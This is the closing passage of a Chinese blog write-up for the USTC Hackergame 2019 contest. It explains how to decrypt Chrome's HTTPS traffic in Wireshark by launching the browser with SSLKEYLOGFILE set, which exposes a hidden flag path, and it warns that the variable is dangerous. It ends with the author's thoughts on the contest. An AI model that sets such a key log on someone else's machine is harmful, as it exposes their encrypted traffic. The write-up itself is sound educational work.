环境变量非常危险,任何获取该变量的软件都可以随意解密你的 HTTPS 流量!因此,务必仅针对某一需要解密流量的软件、在某一次性 Session 下设置该环境变量!
打开 Chrome,在 chrome://version/
中查看可执行文件路径:
然后在终端中通过预设环境变量直接启动 Chrome:
SSLKEYLOGFILE="/path/to/ssllog.txt" "/Applications/Google Chrome.app/Contents/macOS/Google Chrome"
启动 Wireshark 偏好设置中找到 Protocol - TLS、配置 (Pre)-Master-Secret log filename:
现在,再通过启动的 Chrome 访问「Smart Proxy!」,可以看到 Wireshark 完整解密了 Chrome 的所有 HTTPS 流量。在 Wireshark 中使用下述过滤器找出本题的流量:
ip.addr == 146.56.228.227
在过滤后的流量中我们很快就可以找到 PUSH_PROMISE 帧、告诉了我们如何获得 secret 和第一个 flag:GET /ebe087a0-68e5-4280-b605-b98b89488e1e
。
获得第一个 flag 后,我们可以在终端中 Ctrl + C 关闭 Chrome。之后从 Dock、桌面、Finder、Spotlight 等方法「正常启动」Chrome 是不会再将 TLS 握手的信息输出到 SSLKEYLOGFILE 的。
尾声
今年的 USTC Hackergame 对我来说运气的成分远高于能力的成分,不少题目都是侥幸做出来的,而且对 binary
和 math
一窍不通的我这两类题几乎一道题都没做出来;比赛期间甚至收到了主办方邀请提交「非官方题解」,受宠若惊(狐狐暗自高兴);最后拿到了 3250 分,排名侥幸挤进了前 50、与真正的 CS 大佬和 CTF 师傅们在榜上合影,瑟瑟发抖(非常害怕)。
没有对比就没有伤害,相比 两周前 Bilibili 的「1024 程序员节 CTF」,USTC Hackergame 不论是在难度梯度分布、题目水平、趣味性、活动整体质量上都远高一个层次。引用组委会成员「Zihan Zheng」在知乎「参加中国科学技术大学第六届信息安全大赛(Hackergame 2019)是怎样一种体验?」提问中的回答:
我们举办的 Hackergame 的初衷就是对新人友好,增加趣味性,强调教育意义。我看到有些同学反馈说题目偏简单、逆向题偏少等等,我想强调,我们这个比赛虽然是提交 flag 的形式,但不是 CTF 比赛,不会与国内外的 CTF 比赛对标。我们会把这个特色坚持下去,希望大家不要从经验丰富的 CTF 选手视角来评价我们的比赛。
如果说 Hackergame 的初衷是「对新人友好,增加趣味性,强调教育意义」,IMHO 不论是 往届 还是今年的比赛都完美达成了这一点;毫无疑问地,明年的比赛我依然会参加。最后当然是要在「尾声」中喊一句口号:
「我有一个绝妙的解法,可惜我号太少,说不出来」